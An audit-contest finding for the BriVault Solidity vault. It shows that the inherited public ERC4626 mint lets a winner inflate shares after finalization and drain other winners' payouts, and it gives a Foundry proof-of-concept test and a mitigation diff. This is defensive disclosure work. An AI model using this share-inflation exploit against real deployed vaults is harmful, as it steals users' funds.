BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Withdraw more than allocated on win

neomartis

Withdraw more than allocated on win

Description

  • Normal behavior: After the event ends and the winner is set, each winning user should only be able to withdraw their proportional share of the finalized vault assets based on winning shares at the time of finalization. No user should be able to increase their payout after finalization.

  • Issue: The contract snapshots totalWinnerShares and finalizedVaultAsset in setWinner, but in withdraw() it uses the current balanceOf(msg.sender) at withdrawal time. Because the inherited ERC4626 mint function is still publicly callable, a winner can mint additional shares after setWinner to inflate their balance and withdraw more than their allocated share.

// @> the contract extends ERC4626 (includes public mint)
contract BriVault is ERC4626, Ownable {
​
// @> the winner is set and snapshots are taken once
function setWinner(uint256 countryIndex) public onlyOwner returns (string memory) {
...
_getWinnerShares();
_setFinallizedVaultBalance();
...
}
​
// @> uses live balance at withdrawal time (can be inflated after setWinner)
function withdraw() external winnerSet {
...
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
...
}
​
// @> inherited from ERC4626, mint is not overridden/guarded in BriVault and is unguarded with any rules
function mint(uint256 shares, address receiver) public virtual returns (uint256);

Risk

Likelihood: High

  • High incentive for any winner to call to inflate the shares and maximize payout

  • Occurs whenever a winner can call ERC4626 mint after setWinner, because totalWinnerShares is fixed while balanceOf remains mutable.

  • No guard prevents post-finalization share inflation; a single winner can drain the vault by inflating their shares.

Impact: High

  • Winning users can withdraw more than their fair allocation, draining funds that belong to other winners.

  • Final payouts become incorrect and can drain the vault balance.

Proof of Concept

  • Two users (user1, user2) pick the winning country; a third user (user3) picks a losing country.

  • Both user1 and user2 should be able to claim their prize, which is half of user3 deposit (minus the fees)

  • After the winner is set, user1 calls ERC4626 mint to inflate their shares, then calls the guarded withdraw() and drains more than the correct profit.

  • The vault will be completely drained by user1, who will receive all the assets

  • User2 cannot claim any assets anymore, as the vault is empty, even though user2 also won

function testWithdrawMoreThanAllowedOnWin() public {
vm.prank(owner);
briVault.setCountry(countries);
​
vm.startPrank(user1);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, user1);
briVault.joinEvent(7);
vm.stopPrank();
​
vm.startPrank(user2);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, user2);
briVault.joinEvent(7);
vm.stopPrank();
​
vm.startPrank(user3);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, user3);
briVault.joinEvent(8);
vm.stopPrank();
​
vm.warp(eventEndDate + 1);
​
vm.startPrank(owner);
briVault.setWinner(7);
vm.stopPrank();
​
// user 1 and user 2 won, but user 1 can withdraw more than allowed
// by minting more shards via the native ERC4626 mint function
// just making sure that the pool can still pay it out
vm.startPrank(user1);
uint256 additionalAssetsBeforeWithdraw = 2.955 ether;
mockToken.approve(address(briVault), additionalAssetsBeforeWithdraw);
briVault.mint(additionalAssetsBeforeWithdraw, user1);
​
// Withdraw profit by user 1
briVault.withdraw();
vm.stopPrank();
​
// Assertions
uint256 endBalanceUser1 = mockToken.balanceOf(user1);
console.log("end balance user1", endBalanceUser1);
// 21 955000000 000000000
console.log("balance left in vault", mockToken.balanceOf(address(briVault)));
// 0
​
uint256 expectedProfit = 0.5 ether; // half of the assets of user 3
uint256 actualProfit = endBalanceUser1 - 20 ether;
console.log("actual profit", actualProfit);
// 1 955000000 000000000 // All of user 1 and all of user 2 (minus fees)
console.log("expected profit", expectedProfit);
// 500000000 000000000 // Half of user 1
}

Recommended Mitigation

  • Block ERC4626 mint to prevent post-finalization share inflation.

  • Compute withdrawals based on a snapshot of winning shares (already available via userSharesToCountry[user][winnerCountryId]) rather than the live balanceOf(msg.sender) at withdrawal.

// Disable raw ERC4626 mint to prevent share inflation
+ function mint(uint256 shares, address receiver) public override returns (uint256)
+ public
+ override
+ returns (uint256)
+ {
+ revert("Disabled");
+ }
​
// Use snapshot value for payout rather than live balance
- uint256 shares = balanceOf(msg.sender);
+ uint256 shares = userSharesToCountry[msg.sender][winnerCountryId];
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!